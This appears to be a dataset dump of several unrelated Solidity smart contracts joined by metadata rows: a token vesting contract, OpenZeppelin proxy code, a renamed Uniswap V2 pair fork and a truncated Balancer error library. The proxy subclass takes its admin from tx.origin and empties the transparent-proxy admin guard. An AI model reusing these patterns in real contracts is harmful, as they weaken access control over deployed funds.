function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File @openzeppelin/contracts/utils/math/[emailprotected]
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File contracts/AdsVesting.sol
contract VestingAMA {
using SafeMath for uint256;
event ERC20Released(address indexed token, uint256 amount);
uint256 private _released;
uint256 private _nextRelease;
// mapping(address => uint256) private _erc20Released;
address private immutable _token;
address private immutable _beneficiary;
uint256 private immutable _start;
uint256 private immutable _duration;
modifier timeReached(uint256 timestamp) {
require(timestamp >= _nextRelease, "Time not reached");
_;
}
constructor(address token_,
address beneficiaryAddress,
uint256 startTimestamp,
uint256 durationSeconds) {
require(beneficiaryAddress != address(0), "beneficiary is zero address");
_token = token_;
_beneficiary = beneficiaryAddress;
_start = startTimestamp;
_nextRelease = startTimestamp;
_duration = durationSeconds;
_released = 0;
}
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
function start() public view virtual returns (uint256) {
return _start;
}
function duration() public view virtual returns (uint256) {
return _duration;
}
function released() public view virtual returns (uint256) {
return _released;
}
function release() public virtual {
uint256 releasable = vestedAmount(uint64(block.timestamp)) - released();
_nextRelease = _nextRelease + duration();
_released += releasable;
emit ERC20Released(_token, releasable);
SafeERC20.safeTransfer(IERC20(_token), beneficiary(), releasable);
}
function vestedAmount(uint64 timestamp) public view virtual timeReached(timestamp) returns (uint256) {
return _vestingSchedule(IERC20(_token).balanceOf(address(this)) + released());
}
function _vestingSchedule(uint256 totalAllocation) internal view virtual returns (uint256) {
// require(timestamp >= _nextRelease, "Time not reached");
uint256 year = _nextRelease.sub(start()).div(duration()) + 1;
if (year > 5) {
return totalAllocation;
} else {
return totalAllocation.mul(year).div(5);
}
}
}
| 118,732 | 11,202 |
3c7eff504de13d1f04ec19fb6692b73d34433501b14a1a0252a1de7c329cae88
| 31,781 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/62/621606fb41396536681a2cd0e2a922875b5e67f0_UtoolsMultiSenderProxy.sol
| 3,182 | 13,452 |
// SPDX-License-Identifier: MIT
//
//
//
//
//
//
pragma solidity ^0.8.17;
//
// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(),
implementation,
0,
calldatasize(),
0,
0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
//
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
interface IBeacon {
function implementation() external view returns (address);
}
//
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)
interface IERC1822Proxiable {
function proxiableUUID() external view returns (bytes32);
}
//
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target,
data,
"Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(target,
data,
"Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
// OpenZeppelin Contracts (last updated v4.7.0) (utils/StorageSlot.sol)
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot)
internal
pure
returns (AddressSlot storage r)
{
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot)
internal
pure
returns (BooleanSlot storage r)
{
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot)
internal
pure
returns (Bytes32Slot storage r)
{
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot)
internal
pure
returns (Uint256Slot storage r)
{
/// @solidity memory-safe-assembly
assembly {
r.slot := slot
}
}
}
//
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol)
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT =
0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation),
"ERC1967: new implementation is not a contract");
StorageSlot
.getAddressSlot(_IMPLEMENTATION_SLOT)
.value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation,
bytes memory data,
bool forceCall) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallUUPS(address newImplementation,
bytes memory data,
bool forceCall) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT,
"ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}
bytes32 internal constant _ADMIN_SLOT =
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0),
"ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT =
0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon),
"ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
function _upgradeBeaconToAndCall(address newBeacon,
bytes memory data,
bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(),
data);
}
}
}
//
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/ERC1967/ERC1967Proxy.sol)
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
_upgradeToAndCall(_logic, _data, false);
}
function _implementation()
internal
view
virtual
override
returns (address impl)
{
return ERC1967Upgrade._getImplementation();
}
}
//
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/transparent/TransparentUpgradeableProxy.sol)
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(address _logic,
address admin_,
bytes memory _data) payable ERC1967Proxy(_logic, _data) {
_changeAdmin(admin_);
}
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation()
external
ifAdmin
returns (address implementation_)
{
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(),
"TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
//
contract UtoolsMultiSenderProxy is TransparentUpgradeableProxy {
constructor(address _logic,uint256 _fee)
TransparentUpgradeableProxy(_logic,
tx.origin,
abi.encodeWithSignature("initialize(uint256)",
_fee))
{}
function _beforeFallback() internal override {}
}
| 81,709 | 11,203 |
6271d1991972e1ac734bfdc59c734500ad288a499c24ef6a0f114e828f04da45
| 16,272 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/d1/d1203ca8cfb9dc0c256beb64a4309e94be122b48_UniswapV2ERC20.sol
| 4,361 | 15,484 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
contract UniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'GALAX';
string public constant symbol = 'GALX';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)));
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(abi.encodePacked('\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
contract UniswapV2Pair is UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(3).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(2));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(2));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
| 326,963 | 11,204 |
79d048999611dab713e58714acedeec0d12a64ae3b5c754a5112c8a3946bb255
| 31,799 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/42/428e210ab6f6ca88029a7989f072c2878b0f29b7_ERC20.sol
| 5,843 | 18,428 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// solhint-disable
function _require(bool condition, uint256 errorCode) pure {
if (!condition) _revert(errorCode);
}
function _require(bool condition,
uint256 errorCode,
bytes3 prefix) pure {
if (!condition) _revert(errorCode, prefix);
}
function _revert(uint256 errorCode) pure {
_revert(errorCode, 0x42414c); // This is the raw byte representation of "BAL"
}
function _revert(uint256 errorCode, bytes3 prefix) pure {
uint256 prefixUint = uint256(uint24(prefix));
// 'BAL#{errorCode}'
// where the code is left-padded with zeroes to three digits (so they range from 000 to 999).
//
// number (8 to 16 bits) than the individual string characters.
//
// safe place to rely on it without worrying about how its usage might affect e.g. memory contents.
assembly {
// the '0' character.
let units := add(mod(errorCode, 10), 0x30)
errorCode := div(errorCode, 10)
let tenths := add(mod(errorCode, 10), 0x30)
errorCode := div(errorCode, 10)
let hundreds := add(mod(errorCode, 10), 0x30)
// With the individual characters, we can now construct the full string.
// Then, we shift this by 24 (to provide space for the 3 bytes of the error code), and add the
// characters to it, each shifted by a multiple of 8.
// array).
let formattedPrefix := shl(24, add(0x23, shl(8, prefixUint)))
let revertReason := shl(200, add(formattedPrefix, add(add(units, shl(8, tenths)), shl(16, hundreds))))
// message will have the following layout:
// [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ]
// also write zeroes to the next 28 bytes of memory, but those are about to be overwritten.
mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020)
// The string length is fixed: 7 characters.
mstore(0x24, 7)
// Finally, the string itself is stored.
mstore(0x44, revertReason)
// the encoded message is therefore 4 + 32 + 32 + 32 = 100.
revert(0, 100)
}
}
library Errors {
// Math
uint256 internal constant ADD_OVERFLOW = 0;
uint256 internal constant SUB_OVERFLOW = 1;
uint256 internal constant SUB_UNDERFLOW = 2;
uint256 internal constant MUL_OVERFLOW = 3;
uint256 internal constant ZERO_DIVISION = 4;
uint256 internal constant DIV_INTERNAL = 5;
uint256 internal constant X_OUT_OF_BOUNDS = 6;
uint256 internal constant Y_OUT_OF_BOUNDS = 7;
uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8;
uint256 internal constant INVALID_EXPONENT = 9;
// Input
uint256 internal constant OUT_OF_BOUNDS = 100;
uint256 internal constant UNSORTED_ARRAY = 101;
uint256 internal constant UNSORTED_TOKENS = 102;
uint256 internal constant INPUT_LENGTH_MISMATCH = 103;
uint256 internal constant ZERO_TOKEN = 104;
uint256 internal constant INSUFFICIENT_DATA = 105;
// Shared pools
uint256 internal constant MIN_TOKENS = 200;
uint256 internal constant MAX_TOKENS = 201;
uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202;
uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203;
uint256 internal constant MINIMUM_BPT = 204;
uint256 internal constant CALLER_NOT_VAULT = 205;
uint256 internal constant UNINITIALIZED = 206;
